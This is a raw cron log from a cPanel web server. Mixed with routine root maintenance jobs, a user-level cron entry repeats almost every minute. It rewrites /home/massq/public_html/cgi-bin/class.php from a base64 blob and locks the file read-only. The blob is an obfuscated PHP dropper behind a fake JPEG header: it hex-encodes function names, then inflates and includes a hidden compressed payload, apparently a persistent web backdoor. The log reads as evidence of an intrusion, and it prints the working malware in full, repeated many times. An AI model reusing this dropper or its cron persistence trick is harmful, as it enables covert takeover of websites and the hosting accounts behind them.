Aug 31 05:26:01 server CROND[27277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:26:01 server CROND[27279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:26:01 server CROND[27278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:27:01 server CROND[27665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:27:01 server CROND[27667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:27:01 server CROND[27669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:27:01 server CROND[27670]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 05:28:01 server CROND[28149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:28:01 server CROND[28150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:28:01 server CROND[28151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:29:01 server CROND[28532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:29:01 server CROND[28533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:29:01 server CROND[28534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:30:01 server CROND[28925]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 05:30:01 server CROND[28927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:30:01 server CROND[28932]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Aug 31 05:30:01 server CROND[28928]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 05:30:01 server CROND[28930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:30:01 server CROND[28929]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 05:30:01 server CROND[28933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:30:01 server CROND[28931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:30:01 server CROND[28935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:31:01 server CROND[29775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:31:01 server CROND[29776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:31:01 server CROND[29777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:32:01 server CROND[30155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:32:01 server CROND[30154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:32:01 server CROND[30156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:33:01 server CROND[30639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:33:01 server CROND[30641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:33:01 server CROND[30640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:34:01 server CROND[31031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:34:01 server CROND[31032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:34:01 server CROND[31033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:35:01 server CROND[31439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:35:01 server CROND[31440]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 05:35:01 server CROND[31443]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 05:35:01 server CROND[31450]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:35:01 server CROND[31451]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 05:35:01 server CROND[31454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:35:01 server CROND[31452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:35:01 server CROND[31456]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 05:35:01 server CROND[31453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:36:01 server CROND[32299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:36:01 server CROND[32300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:36:01 server CROND[32301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:37:01 server CROND[32675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:37:01 server CROND[32676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:37:01 server CROND[32677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:38:02 server CROND[709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:38:02 server CROND[710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
